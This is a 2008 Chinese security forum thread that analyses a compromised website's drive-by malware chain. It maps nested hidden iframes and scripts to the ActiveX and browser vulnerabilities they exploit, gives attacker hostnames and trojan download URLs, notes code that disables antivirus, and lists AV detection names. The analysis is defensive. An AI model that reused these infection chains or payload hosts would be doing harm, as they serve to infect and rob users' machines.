2008 网马王网站分析

显示全部楼层 · 发表于 2008-2-18 11:45:10

发现一个网站被挂马....于是就开始动手解马...因为版面有限!所以一些解码过程就不写了...
有兴趣的人可以分析看看.
下列所有网马把漏洞还有加密方式用的淋淋尽致...如果想要练习网马分析的...这个是不错的例子..

分析被挂马的网站 www.garden-ms.com

开始延伸

<i frame src="hxxp://qi.ccbtv.net/btv.htm" width=0 height=0></iframe>

<i frame src="hxxp://88.881215.com/88.htm" width=0 height=0></iframe>

<i frame src="hxxp://qi.ccbtv.net/h.htm" width=0 height=0></iframe>
   <i frame src="hxxp://niu.xinniankl.com/web/6619038.htm" width=100 height=0></iframe>
      <i frame src=htm.html width=100 height=0></iframe>
               <i frame src="hxxp://niu.xinniankl.com/web/rl.htm" width=100 height=0></IFRAME> RealPlayer ActiveX控件栈溢出漏洞
                     木马位置: hxxp://exe.xinniankl.com/rl.exe

               <i frame src="hxxp://niu.xinniankl.com/web/3.htm" width=10 height=10></IFRAME> 联众世界GLChat.ocx ActiveX Control BoF exploit
                     木马位置: hxxp://exe.xinniankl.com/lz.exe

<i frame src="hxxp://a1.sbb22.com/a.htm" width=0 height=0></iframe>
   <i frame src=hxxp://xxx.huilaiba.info/dgll2.htm?2 width=100 height=0></iframe>
      <i frame width=100 height=1 frameborder=0 scrolling=no src="real.htm"></iframe> 代码先屏蔽扫毒软体 Rising,Kaspersky ,KV2008
         <i frame src=hxxp://xxx.htm1.ws/cike.htm width=0 height=0></iframe> 网页已遭移除!

      <i frame width=100 height=1 frameborder=0 scrolling=no src="lz.htm"></iframe>  联众世界GLChat.ocx ActiveX Control BoF exploit
            木马位置: hxxp://xxx.htm1.ws/ww/aa.exe

      <i frame width=50 height=1 src=lz1.htm></iframe> 联众世界GLWorld HanGamePluginCn18类ActiveX控件栈溢出漏洞
            木马位置: hxxp://xxx.wofala.info/ww/la.exe


      <i frame width=100 height=1 frameborder=0 scrolling=no src="ceshi/614.htm"></iframe>

<i frame src="hxxp://min.uuzzvv.com/m.htm" width=0 height=0></iframe>
<i frame src=hxxp://www.10wip.com/yahoo/index.htm?106 width=0 height=0></iframe>
      <s cript src=hxxp://www.10wip.com/yahoo/Ajax.gif></s cript> MS06-014 溢出漏洞
            木马位置: hxxp://www.10wip.com/yahoo/yes.exe

      <i frame width='0' height='0' src='hxxp://www.10wip.com/yahoo/Ms06014.htm'></iframe> MS06-014 溢出漏洞
            木马位置: hxxp://www.10wip.com/yahoo/yes.exe

      <s cript src=hxxp://www.10wip.com/yahoo/Real.js></s cript> RealPlayer ActiveX 控件栈溢出漏洞
            木马位置: hxxp://www.10wip.com/yahoo/yes.exe

      <s cript src=hxxp://www.10wip.com/yahoo/Bfyy.gif></s cript> 暴风影音2 mps.dll组件多个缓冲区漏洞
            木马位置: hxxp://www.10wip.com/yahoo/yes.exe
      <s cript src=hxxp://www.10wip.com/yahoo/Pps.gif></s cript>  PPStream 控件溢出漏洞
            木马位置: hxxp://www.10wip.com/yahoo/yes.exe

      <s cript src=hxxp://www.10wip.com/yahoo/XunLei.gif></s cript> 迅雷5栈溢出漏洞
            木马位置: hxxp://www.10wip.com/yahoo/yes.exe

      <s cript src=hxxp://www.10wip.com/yahoo/Lz.gif></s cript>  联众世界 GLChat.ocx ActiveX Control BoF exploit
            木马位置: hxxp://www.10wip.com/yahoo/yes.exe

      <i frame width='0' height='0' src='hxxp://www.10wip.com/yahoo/QVod.html'></iframe> Qvod Player播放器控件栈溢出漏洞
         木马位置: hxxp://www.10wip.com/yahoo/yes.exe

      <i frame width='0' height='0' src='hxxp://www.10wip.com/yahoo/Ms07004.html'></iframe>  MS Internet Explorer (VML) Remote Buffer Overflow Exploit
         木马位置: hxxp://www.10wip.com/yahoo/yes.exe

      <i frame width='10' height='10' src='hxxp://www.10wip.com/yahoo/xunlei.htm'></iframe> 迅雷5栈溢出漏洞
         木马位置: hxxp://www.10wip.com/yahoo/yes.exe

      <i frame width='0' height='0' src='hxxp://www.10wip.com/yahoo/07033.htm'></iframe>  (MS07-033)Microsoft Speech API ActiveX control Remote BoF Exploit
         木马位置: hxxp://www.10wip.com/yahoo/yes.exe

      <i frame width='0' height='0' src='hxxp://www.10wip.com/yahoo/cx.htm'></iframe> 超星阅览器控件栈溢出漏洞
         木马位置: hxxp://www.10wip.com/yahoo/yes.exe

      <i frame width='0' height='0' src='hxxp://www.10wip.com/yahoo/baidu.htm'></iframe>
         木马位置: hxxp://www.10wip.com/yahoo/yes.cab

      <i frame src=hxxp://niu.xinniankl.com/web/6601220.htm width=0 height=0></iframe>
         <i frame src=htm.html width=100 height=0></iframe>

      <i frame src=hxxp://www.xiuxian888.cn/kk.htm width=50 height=1></iframe>
               <i frame src=hxxp://www.10wip.com/yahoo/index.htm?106 width=0 height=0></iframe>
      <s cript src=hxxp://www.10wip.com/yahoo/Ajax.gif></s cript> MS06-014 溢出漏洞
            木马位置: hxxp://www.10wip.com/yahoo/yes.exe

      <i frame width='0' height='0' src='hxxp://www.10wip.com/yahoo/Ms06014.htm'></iframe> MS06-014 溢出漏洞
            木马位置: hxxp://www.10wip.com/yahoo/yes.exe

      <s cript src=hxxp://www.10wip.com/yahoo/Real.js></s cript> RealPlayer ActiveX 控件栈溢出漏洞
            木马位置: hxxp://www.10wip.com/yahoo/yes.exe

      <s cript src=hxxp://www.10wip.com/yahoo/Bfyy.gif></s cript> 暴风影音2 mps.dll组件多个缓冲区漏洞
            木马位置: hxxp://www.10wip.com/yahoo/yes.exe
      <s cript src=hxxp://www.10wip.com/yahoo/Pps.gif></s cript>  PPStream 控件溢出漏洞
            木马位置: hxxp://www.10wip.com/yahoo/yes.exe

      <s cript src=hxxp://www.10wip.com/yahoo/XunLei.gif></s cript> 迅雷5栈溢出漏洞
            木马位置: hxxp://www.10wip.com/yahoo/yes.exe

      <s cript src=hxxp://www.10wip.com/yahoo/Lz.gif></s cript>  联众世界 GLChat.ocx ActiveX Control BoF exploit
            木马位置: hxxp://www.10wip.com/yahoo/yes.exe

      <i frame width='0' height='0' src='hxxp://www.10wip.com/yahoo/QVod.html'></iframe> Qvod Player播放器控件栈溢出漏洞
         木马位置: hxxp://www.10wip.com/yahoo/yes.exe

      <i frame width='0' height='0' src='hxxp://www.10wip.com/yahoo/Ms07004.html'></iframe>  MS Internet Explorer (VML) Remote Buffer Overflow Exploit
         木马位置: hxxp://www.10wip.com/yahoo/yes.exe

      <i frame width='10' height='10' src='hxxp://www.10wip.com/yahoo/xunlei.htm'></iframe> 迅雷5栈溢出漏洞
         木马位置: hxxp://www.10wip.com/yahoo/yes.exe

      <i frame width='0' height='0' src='hxxp://www.10wip.com/yahoo/07033.htm'></iframe>  (MS07-033)Microsoft Speech API ActiveX control Remote BoF Exploit
         木马位置: hxxp://www.10wip.com/yahoo/yes.exe

      <i frame width='0' height='0' src='hxxp://www.10wip.com/yahoo/cx.htm'></iframe> 超星阅览器控件栈溢出漏洞
         木马位置: hxxp://www.10wip.com/yahoo/yes.exe

      <i frame width='0' height='0' src='hxxp://www.10wip.com/yahoo/baidu.htm'></iframe>
         木马位置: hxxp://www.10wip.com/yahoo/yes.cab

显示全部楼层 · 发表于 2008-2-18 11:45:53

<i frame src="hxxp://www.xiuxian888.cn/index.htm" width=50 height=1></IFRAME>
               <i frame src=hxxp://ppp.buyaoni.com/ww/new280.htm?528 width=1 height=1></iframe>
                     <i frame src=hxxp://ppp.buyaoni.com/dm/diao.htm width=1 height=1></iframe> MS06-014 msadco.dll 溢出漏洞
                              <s cript src=hxxp://ppp.buyaoni.com/dm/11.js></s cript> MS06-014
                              木马位置: hxxp://dd.749571.com/bb/014.exe

                              <s cript src=hxxp://ppp.buyaoni.com/dm/bb.js></s cript> MPS.StormPlayer 暴风影音
                              木马位置: hxxp://dd.749571.com/bb/bb.exe

                              <s cript src=hxxp://ppp.buyaoni.com/dm/pp.js></s cript> PPStream 控件溢出漏洞
                              木马位置: hxxp://dd.749571.com/bb/pp.exe

                              ActiveXObject("BaiduBar.Tool")
                              木马位置: hxxp://dd.749571.com/bb/bd.cab

                     <i frame src=hxxp://ppp.buyaoni.com/dm/rl.htm width=1 height=1></iframe> RealPlayer ierpplug.dll ActiveX控件栈溢出漏洞

                           木马位置: hxxp://dd.749571.com/bb/newrl.exe

                     <i frame src=hxxp://ppp.buyaoni.com/dm/rr.htm width=1 height=1></iframe> 联众世界GLChat.ocx ActiveX Control BoF exploit
                        代码先屏蔽扫毒软体 Mcafee , Nod32 , DrWeb ,  AntiVir, Ewido ,Sunbelt ,Norton
                           木马位置: hxxp://is.749571.com/bb/a.exe
            <i frame src="hxxp://www.59.vc/page/add_32643.htm?1713=528" width=0 height=0></IFRAME>
                     <s cript src=addr.js></s cript>
                     代码防止KIS KAV 百度窗口

            <i frame src="hxxp://niu.xinniankl.com/web/71238.htm?id=4" width=100 height=0></IFRAME>
                     <i frame src=htm.html width=100 height=0></iframe>  MS06-014 漏洞
                        <s cript src=hxxp://niu.xinniankl.com/web/1.js></s cript>
                           木马位置: hxxp://exe.xinniankl.com/014.exe

                        <s cript src=hxxp://niu.xinniankl.com/web/bf.js></s cript> 暴风影音MPS.DLL ActiveX控件远程溢出漏洞
                           木马位置: hxxp://exe.xinniankl.com/bf.exe

                        <s cript src=hxxp://niu.xinniankl.com/web/pps.js></s cript> PPStream 控件溢出漏洞
                           木马位置: hxxp://exe.xinniankl.com/pps.exe

                           ActiveXObject("BaiduBar.Tool")
                        木马位置: hxxp://exe.xinniankl.com/ad.cab

                        <i frame width='10'height='10'src='hxxp://niu.xinniankl.com/web/3.htm'></iframe> 联众世界GLChat.ocx ActiveX Control BoF exploit
                        木马位置: hxxp://exe.xinniankl.com/lz.exe

            <i frame src="hxxp://xxx.haoqq1680.com/lccc002.htm?1" width=0 height=0></IFRAME> MS06-014 msadco.dll 溢出漏洞
               <s cript src=hxxp://xxx.haoqq1680.com/Ajax.gif></s cript>
               <i frame width='0' height='0' src='hxxp://xxx.haoqq1680.com/Ms06014.htm'></iframe>MS06-014 msadco.dll 溢出漏洞
                  木马位置: hxxp://xxx.haoqq1680.com/dod.exe

               <s cript src=hxxp://xxx.haoqq1680.com/Real.js></s cript> RealPlayer ierpplug.dll ActiveX控件栈溢出漏洞
                  木马位置: hxxp://xxx.haoqq1680.com/dod.exe

               <s cript src=hxxp://xxx.haoqq1680.com/Bfyy.gif></s cript> 暴风影音2 mps.dll组件多个缓冲区溢出漏洞
                  木马位置: hxxp://xxx.haoqq1680.com/dod.exe

               <s cript src=hxxp://xxx.haoqq1680.com/Pps.gif></s cript> PPStream 最新版堆栈溢漏洞
                  木马位置: hxxp://xxx.haoqq1680.com/dod.exe

               <s cript src=hxxp://xxx.haoqq1680.com/XunLei.gif></s cript> 迅雷pplayer.dll_1_work activex控件缓冲区溢出漏洞
                  木马位置: hxxp://xxx.haoqq1680.com/dod.exe

               <s cript src=hxxp://xxx.haoqq1680.com/Lz.gif></s cript>  联众世界GLChat.ocx ActiveX Control BoF exploit
                  木马位置: hxxp://xxx.haoqq1680.com/dod.exe
               <i frame width='0' height='0' src='hxxp://xxx.haoqq1680.com/QVod.html'></iframe> Qvod Player播放器控件栈溢出漏洞
                  木马位置: hxxp://xxx.haoqq1680.com/dod.exe

            <i frame src="hxxp://086074.service-google.cn/vip/Zn6430.htm?my" width=0 height=0>
               <i frame src=wm2/index.html width=0 height=0 border=0></iframe>
                     <i frame style=display:none src="2.gif"></iframe> MS06-014 溢出漏洞
                     木马位置: hxxp://20080203.service-google.cn/614.exe
                     <i frame style=display:none src="8.gif"></iframe> 变形 RealPlayer ActiveX控件栈溢出漏洞
                     木马位置: hxxp://20080203.service-google.cn/real2.exe

                     <i frame style=display:none src="1.gif"></iframe>
                        <i frame src=hxxp://ok.service-google.cn/vip/ok_ok.htm width=0 height=0 border=0></iframe>
                           <i frame src=wm2/z.html width=0 height=0 border=0></iframe>
                              <i frame style=display:none src="2.gif"></iframe>
                                 木马位置: hxxp://20080203.service-google.cn/614.exe

                              <i frame style=display:none src="1.gif"></iframe>
                                 木马位置: hxxp://20080203.service-google.cn/bf.exe

                              <i frame style=display:none src="5.gif"></iframe> PPStream 控件溢出漏洞
                                 木马位置: hxxp://20080203.service-google.cn/pps.exe

                              <i frame style=display:none src="12.gif"></iframe> 联众世界GLWorld HanGamePluginCn18类ActiveX控件栈溢出漏洞
                              代码先屏蔽扫毒软体 Mcafee , Nod32 , DrWeb ,  AntiVir, Ewido ,Sunbelt ,Norton
                              木马位置: hxxp://20080209.service-google.cn/lz3.css
                              <i frame style=display:none src="11.gif"></iframe> 联众世界GLChat.ocx ActiveX Control BoF exploit
                              木马位置: hxxp://20080203.service-google.cn/lz3.exe

                              <i frame style=display:none src="4.gif"></iframe>

                              <i frame style=display:none src="3.gif"></iframe>

显示全部楼层 · 发表于 2008-2-18 11:46:18

<i frame style=display:none src="5.gif"></iframe> PPStream 控件溢出漏洞
                     木马位置: hxxp://20080203.service-google.cn/pps.exe

                     <i frame style=display:none src="12.gif"></iframe> 联众世界GLWorld HanGamePluginCn18类ActiveX控件栈溢出漏洞
                     代码先屏蔽扫毒软体 Mcafee , Nod32 , DrWeb ,  AntiVir, Ewido ,Sunbelt ,Norton
                     木马位置: hxxp://20080209.service-google.cn/lz3.css
                     <i frame style=display:none src="11.gif"></iframe> 联众世界GLChat.ocx ActiveX Control BoF exploit
                     木马位置: hxxp://20080209.service-google.cn/lz3.css

                     <i frame style=display:none src="4.gif"></iframe> BaiduBar.Tool 漏洞
                     木马位置: hxxp://20080203.service-google.cn/baidu.cab

                     <i frame style=display:none src="3.gif"></iframe>  Qvod Player播放器控件栈溢出漏洞
                        木马位置: hxxp://20080203.service-google.cn/qvod.exe

            <i frame src="hxxp://www.10wip.com/yahoo/index.htm?108" width=0 height=0></IFRAME>
                        <s cript src=hxxp://www.10wip.com/yahoo/Ajax.gif></s cript> MS06-014 溢出漏洞
                           木马位置: hxxp://www.10wip.com/yahoo/yes.exe

                        <i frame width='0' height='0' src='hxxp://www.10wip.com/yahoo/Ms06014.htm'></iframe> MS06-014 溢出漏洞
                           木马位置: hxxp://www.10wip.com/yahoo/yes.exe

                        <s cript src=hxxp://www.10wip.com/yahoo/Real.js></s cript> RealPlayer ActiveX 控件栈溢出漏洞
                           木马位置: hxxp://www.10wip.com/yahoo/yes.exe

                        <s cript src=hxxp://www.10wip.com/yahoo/Bfyy.gif></s cript> 暴风影音2 mps.dll组件多个缓冲区漏洞
                           木马位置: hxxp://www.10wip.com/yahoo/yes.exe
                        <s cript src=hxxp://www.10wip.com/yahoo/Pps.gif></s cript>  PPStream 控件溢出漏洞
                           木马位置: hxxp://www.10wip.com/yahoo/yes.exe

                        <s cript src=hxxp://www.10wip.com/yahoo/XunLei.gif></s cript> 迅雷5栈溢出漏洞
                           木马位置: hxxp://www.10wip.com/yahoo/yes.exe

                        <s cript src=hxxp://www.10wip.com/yahoo/Lz.gif></s cript>  联众世界 GLChat.ocx ActiveX Control BoF exploit
                           木马位置: hxxp://www.10wip.com/yahoo/yes.exe

                        <i frame width='0' height='0' src='hxxp://www.10wip.com/yahoo/QVod.html'></iframe> Qvod Player播放器控件栈溢出漏洞
                           木马位置: hxxp://www.10wip.com/yahoo/yes.exe

                        <i frame width='0' height='0' src='hxxp://www.10wip.com/yahoo/Ms07004.html'></iframe>  MS Internet Explorer (VML) Remote Buffer Overflow Exploit
                           木马位置: hxxp://www.10wip.com/yahoo/yes.exe

                        <i frame width='10' height='10' src='hxxp://www.10wip.com/yahoo/xunlei.htm'></iframe> 迅雷5栈溢出漏洞
                           木马位置: hxxp://www.10wip.com/yahoo/yes.exe

                        <i frame width='0' height='0' src='hxxp://www.10wip.com/yahoo/07033.htm'></iframe>  (MS07-033)Microsoft Speech API ActiveX control Remote BoF Exploit
                           木马位置: hxxp://www.10wip.com/yahoo/yes.exe

                        <i frame width='0' height='0' src='hxxp://www.10wip.com/yahoo/cx.htm'></iframe> 超星阅览器控件栈溢出漏洞
                           木马位置: hxxp://www.10wip.com/yahoo/yes.exe

                        <i frame width='0' height='0' src='hxxp://www.10wip.com/yahoo/baidu.htm'></iframe>
                           木马位置: hxxp://www.10wip.com/yahoo/yes.cab

显示全部楼层 · 发表于 2008-2-18 11:46:34

<i frame src=hxxp://niu.xinniankl.com/web/6601220.htm width=0 height=0></iframe>
         <i frame src=htm.html width=100 height=0></iframe>

                           <i frame src=hxxp://www.xiuxian888.cn/kk.htm width=50 height=1></iframe>
                           <i frame src=hxxp://www.10wip.com/yahoo/index.htm?106 width=0 height=0></iframe>
                           <s cript src=hxxp://www.10wip.com/yahoo/Ajax.gif></s cript> MS06-014 溢出漏洞
                              木马位置: hxxp://www.10wip.com/yahoo/yes.exe

                           <i frame width='0' height='0' src='hxxp://www.10wip.com/yahoo/Ms06014.htm'></iframe> MS06-014 溢出漏洞
                              木马位置: hxxp://www.10wip.com/yahoo/yes.exe

                           <s cript src=hxxp://www.10wip.com/yahoo/Real.js></s cript> RealPlayer ActiveX 控件栈溢出漏洞
                              木马位置: hxxp://www.10wip.com/yahoo/yes.exe

                           <s cript src=hxxp://www.10wip.com/yahoo/Bfyy.gif></s cript> 暴风影音2 mps.dll组件多个缓冲区漏洞
                              木马位置: hxxp://www.10wip.com/yahoo/yes.exe
                           <s cript src=hxxp://www.10wip.com/yahoo/Pps.gif></s cript>  PPStream 控件溢出漏洞
                              木马位置: hxxp://www.10wip.com/yahoo/yes.exe

                           <s cript src=hxxp://www.10wip.com/yahoo/XunLei.gif></s cript> 迅雷5栈溢出漏洞
                              木马位置: hxxp://www.10wip.com/yahoo/yes.exe

                           <s cript src=hxxp://www.10wip.com/yahoo/Lz.gif></s cript>  联众世界 GLChat.ocx ActiveX Control BoF exploit
                                 木马位置: hxxp://www.10wip.com/yahoo/yes.exe

                           <i frame width='0' height='0' src='hxxp://www.10wip.com/yahoo/QVod.html'></iframe> Qvod Player播放器控件栈溢出漏洞
                                 木马位置: hxxp://www.10wip.com/yahoo/yes.exe

                           <i frame width='0' height='0' src='hxxp://www.10wip.com/yahoo/Ms07004.html'></iframe>  MS Internet Explorer (VML) Remote Buffer Overflow Exploit
                                 木马位置: hxxp://www.10wip.com/yahoo/yes.exe

                           <i frame width='10' height='10' src='hxxp://www.10wip.com/yahoo/xunlei.htm'></iframe> 迅雷5栈溢出漏洞
                              木马位置: hxxp://www.10wip.com/yahoo/yes.exe

                           <i frame width='0' height='0' src='hxxp://www.10wip.com/yahoo/07033.htm'></iframe>  (MS07-033)Microsoft Speech API ActiveX control Remote BoF Exploit
                              木马位置: hxxp://www.10wip.com/yahoo/yes.exe

                           <i frame width='0' height='0' src='hxxp://www.10wip.com/yahoo/cx.htm'></iframe> 超星阅览器控件栈溢出漏洞
                                 木马位置: hxxp://www.10wip.com/yahoo/yes.exe

                           <i frame width='0' height='0' src='hxxp://www.10wip.com/yahoo/baidu.htm'></iframe>
                                 木马位置: hxxp://www.10wip.com/yahoo/yes.cab
            <i frame src="hxxp://xxx.huilaiba.info/1014.htm" width=100 height=1></IFRAME>
               <i frame width=100 height=1 frameborder=0 scrolling=no src="ceshi/real.htm"></iframe> RealPlayer ActiveX 控件栈溢出漏洞
                  木马位置: hxxp://xxx.wofala.info/ww/la.exe

               <i frame width=100 height=1 frameborder=0 scrolling=no src="ceshi/lz.htm"></iframe>
                  <i frame width=50 height=1 src=lz1.htm></iframe> 联众世界GLChat.ocx ActiveX Control BoF exploit
                  木马位置: hxxp://xxx.wofala.info/ww/la.exe

               <i frame width=100 height=1 frameborder=0 scrolling=no src="ceshi/614.htm"></iframe> MS06-014 溢出漏洞
                  木马位置: hxxp://xxx.wofala.info/ww/la.exe
            <i frame src="hxxp://www.xiuxian888.cn/index2.htm" width=50 height=1></IFRAME>
            <i frame src=hxxp://niu.xinniankl.com/web/71238.htm?id=4 width=100 height=0></iframe>
                  <i frame src=htm.html width=100 height=0>
                        <i frame width='10'height='10'src='hxxp://niu.xinniankl.com/web/3.htm'></iframe> 联众世界GLChat.ocx ActiveX Control BoF exploit
                           木马位置: hxxp://exe.xinniankl.com/lz.exe

显示全部楼层 · 发表于 2008-2-18 11:47:00

<i frame src="hxxp://cool.e0shop.cn/k2.htm?27" width=50 height=1></IFRAME> MS06-014 溢出漏洞
                     <s cript src=Ajax.gif></s cript>  MS06-014 溢出漏洞
                        木马位置: hxxp://cool.e0shop.cn/down.exe

                     <i frame width='0' height='0' src='Ms06014.htm'></iframe> MS06-014 溢出漏洞
                     木马位置: hxxp://cool.e0shop.cn/down.exe

                     <s cript src=RealPlay.htm></s cript>
                     木马位置: hxxp://cool.e0shop.cn/down.exe

                     <s cript src=Bfyy.gif></s cript> 暴风影音MPS.DLL ActiveX控件远程溢出漏洞
                     木马位置: hxxp://cool.e0shop.cn/down.exe

                     <s cript src=Pps.gif></s cript> PPStream 控件溢出漏洞
                     木马位置: hxxp://cool.e0shop.cn/down.exe

                     <s cript src=XunLei.gif></s cript> 迅雷5栈溢出漏洞
                     木马位置: hxxp://cool.e0shop.cn/down.exe

                     <s cript src=Lz.gif></s cript> 联众世界GLChat.ocx ActiveX Control BoF exploit
                     木马位置: hxxp://cool.e0shop.cn/down.exe

                     <i frame width='0' height='0' src='QVod.htm'></iframe>  Qvod Player播放器控件栈溢出漏洞
                     木马位置: hxxp://cool.e0shop.cn/down.exe

                     <i frame src=qq.htm width=50 height=1></iframe> MS06-014 溢出漏洞
                     木马位置: hxxp://cool.e0shop.cn/down.exe

                     <i frame src=JetAudio.htm width=50 height=1></iframe> JetAudio ActiveX控件远程命令执行漏洞
                     木马位置: hxxp://cool.e0shop.cn/down.exe

               <i frame src=hxxp://08675.service-google.cn/vip/Cn3100.htm?xx width=0 height=0></iframe>

显示全部楼层 · 发表于 2008-2-18 11:47:22

<i frame src=hxxp://niu.xinniankl.com/web/669191.htm?xx width=100 height=0></iframe>
                  <i frame src=htm.html width=100 height=0></iframe> MS06-014 溢出漏洞
                           <s cript src=hxxp://niu.xinniankl.com/web/1.js></s cript>
                              木马位置: hxxp://exe.xinniankl.com/014.exe

                           <s cript src=hxxp://niu.xinniankl.com/web/bf.js></s cript> 暴风影音MPS.DLL ActiveX控件远程溢出漏洞
                              木马位置: hxxp://exe.xinniankl.com/bf.exe

                           <s cript src=hxxp://niu.xinniankl.com/web/pps.js></s cript> PPStream 控件溢出漏洞
                              木马位置: hxxp://exe.xinniankl.com/pps.exe

                           ActiveXObject("BaiduBar.Tool")
                              木马位置: hxxp://exe.xinniankl.com/ad.cab

                           <i frame width='10'height='10'src='hxxp://niu.xinniankl.com/web/3.htm'></iframe> 联众世界GLChat.ocx ActiveX Control BoF exploit
                              木马位置: hxxp://exe.xinniankl.com/lz.exe

            <i frame src="hxxp://www.cfjs119.cn/wm.htm" width=50 height=1></IFRAME> MS06-014 溢出漏洞

<i frame src="hxxp://dv.55189.net/" width=0 height=0></iframe>
   <i frame src="hxxp://ppp.buyaoni.com/ww/new82.htm" width=1 height=1></iframe
               <i frame src=hxxp://ppp.buyaoni.com/dm/diao.htm width=1 height=1></iframe> MS06-014 msadco.dll 溢出漏洞
         <s cript src=hxxp://ppp.buyaoni.com/dm/11.js></s cript> MS06-014
               木马位置: hxxp://dd.749571.com/bb/014.exe

         <s cript src=hxxp://ppp.buyaoni.com/dm/bb.js></s cript> MPS.StormPlayer 暴风影音
               木马位置: hxxp://dd.749571.com/bb/bb.exe

            <s cript src=hxxp://ppp.buyaoni.com/dm/pp.js></s cript> PPStream 控件溢出漏洞
               木马位置: hxxp://dd.749571.com/bb/pp.exe

            ActiveXObject("BaiduBar.Tool")
               木马位置: hxxp://dd.749571.com/bb/bd.cab

   <i frame src=hxxp://ppp.buyaoni.com/dm/rl.htm width=1 height=1></iframe> RealPlayer ActiveX控件栈溢出漏洞
      木马位置: hxxp://dd.749571.com/bb/newrl.exe

   <i frame src=hxxp://ppp.buyaoni.com/dm/rr.htm width=1 height=1></iframe> 联众世界GLChat.ocx ActiveX Control BoF exploit

      屏蔽扫毒软体 Mcafee , Ewido
      木马位置: hxxp://is.749571.com/bb/a.exe

   <i frame src=hxxp://ppp.buyaoni.com/dm/diao.htm width=1 height=1></iframe> MS06-014 msadco.dll 溢出漏洞
         <s cript src=hxxp://ppp.buyaoni.com/dm/11.js></s cript> MS06-014
               木马位置: hxxp://dd.749571.com/bb/014.exe

         <s cript src=hxxp://ppp.buyaoni.com/dm/bb.js></s cript> MPS.StormPlayer 暴风影音
               木马位置: hxxp://dd.749571.com/bb/bb.exe

            <s cript src=hxxp://ppp.buyaoni.com/dm/pp.js></s cript> PPStream 控件溢出漏洞
               木马位置: hxxp://dd.749571.com/bb/pp.exe

            ActiveXObject("BaiduBar.Tool")
               木马位置: hxxp://dd.749571.com/bb/bd.cab

   <i frame src=hxxp://ppp.buyaoni.com/dm/rl.htm width=1 height=1></iframe> RealPlayer ActiveX控件栈溢出漏洞
      木马位置: hxxp://dd.749571.com/bb/newrl.exe

   <i frame src=hxxp://ppp.buyaoni.com/dm/rr.htm width=1 height=1></iframe> 联众世界GLChat.ocx ActiveX Control BoF exploit

      屏蔽扫毒软体 Mcafee , Ewido
      木马位置: hxxp://is.749571.com/bb/a.exe

<i frame src="hxxp://sf.070808.net/s.htm" width=0 height=0></iframe>
<i frame width='0' height='0' src='hxxp://ad.jopenqb.com/feng.htm'></iframe>
      <i frame width='100' height='100' src='wm/g15.htm'></iframe> MS06-014 msadco.dll 溢出漏洞
         木马位置: hxxp://ccc.969222.com/bak.css
      <i frame width='100' height='100' src='wm/dm.htm'></iframe> 代码先屏蔽扫毒软体 Rising,Kaspersky ,KV2008

<i frame src="hxxp://ga.mm5208.com/g.htm" width=0 height=0></iframe>

<i frame src=hxxp://086196.service-google.cn/vip/Cn51903.htm width=0 height=0></iframe>
      <i frame src=wm2/z.html width=0 height=0 border=0></iframe>
         <i frame src=hxxp://ok.service-google.cn/vip/ok_ok.htm width=0 height=0 border=0></iframe>
            <i frame src=wm2/z.html width=0 height=0 border=0></iframe>
               <i frame style=display:none src="12.gif"></iframe>  联众世界GLWorld HanGamePluginCn18类ActiveX控件栈溢出漏洞
               屏蔽扫毒软体 Mcafee , Ewido
                  木马位置: hxxp://20080209.service-google.cn/lz3.css

               <i frame style=display:none src="11.gif"></iframe> 联众世界GLChat.ocx ActiveX Control BoF exploit
                  木马位置: hxxp://20080209.service-google.cn/lz3.css

               <i frame style=display:none src="4.gif"></iframe> BaiduBar.Tool 漏洞
                  木马位置: hxxp://20080203.service-google.cn/baidu.cab

               <i frame style=display:none src="3.gif"></iframe> Qvod Player播放器控件栈溢出漏洞
                  木马位置: hxxp://20080203.service-google.cn/qvod.exe

<i frame src="hxxp://niu.xinniankl.com/web/6619038.htm" width=100 height=0></iframe>
<i frame src=htm.html width=100 height=0></iframe> MS06-014 溢出漏洞

<iframewidth=100height=0src=hxxp://niu.xinniankl.com/web/rl.htm></iframe> RealPlayer ierpplug.dll ActiveX控件栈溢出漏洞
   木马位置: hxxp://exe.xinniankl.com/rl.exe

<s cript src=hxxp://niu.xinniankl.com/web/1.js></s cript>
   木马位置: hxxp://exe.xinniankl.com/014.exe

<s cript src=hxxp://niu.xinniankl.com/web/bf.js></s cript> 暴风影音MPS.DLL ActiveX控件远程溢出漏洞
   木马位置: hxxp://exe.xinniankl.com/bf.exe

<s cript src=hxxp://niu.xinniankl.com/web/pps.js></s cript> PPStream 控件溢出漏洞
   木马位置: hxxp://exe.xinniankl.com/pps.exe

ActiveXObject("BaiduBar.Tool")
   木马位置: hxxp://exe.xinniankl.com/ad.cab

<i frame width='10'height='10'src='hxxp://niu.xinniankl.com/web/3.htm'></iframe> 联众世界GLChat.ocx ActiveX Control BoF exploit
   木马位置: hxxp://exe.xinniankl.com/lz.exe

显示全部楼层 · 发表于 2008-2-18 11:48:20

探测到: 木马程序 Trojan-Downloader.Win32.Losabel.bt 网址: http://www.10wip.com/yahoo/yes.cab//UPack
探测到: 木马程序 Trojan-PSW.Win32.OnLineGames.ode 网址: http://exe.xinniankl.com/rl.exe//NSPack
探测到: 木马程序 Trojan-PSW.Win32.OnLineGames.ode 网址: http://exe.xinniankl.com/lz.exe//NSPack

显示全部楼层 · 发表于 2008-2-18 11:49:49

哪位好心的最好把网页也给发给杀软....这样这个网站所有网马就要重做免杀了..CC

手動解就是累人...

[ 本帖最后由 domino 于 2008-2-18 11:50 编辑 ]

显示全部楼层 · 发表于 2008-2-18 12:00:37

好多，眼花了

显示全部楼层 · 发表于 2008-2-18 14:18:07

名副其实啊

[已鉴定] 2008 网马王网站分析

评分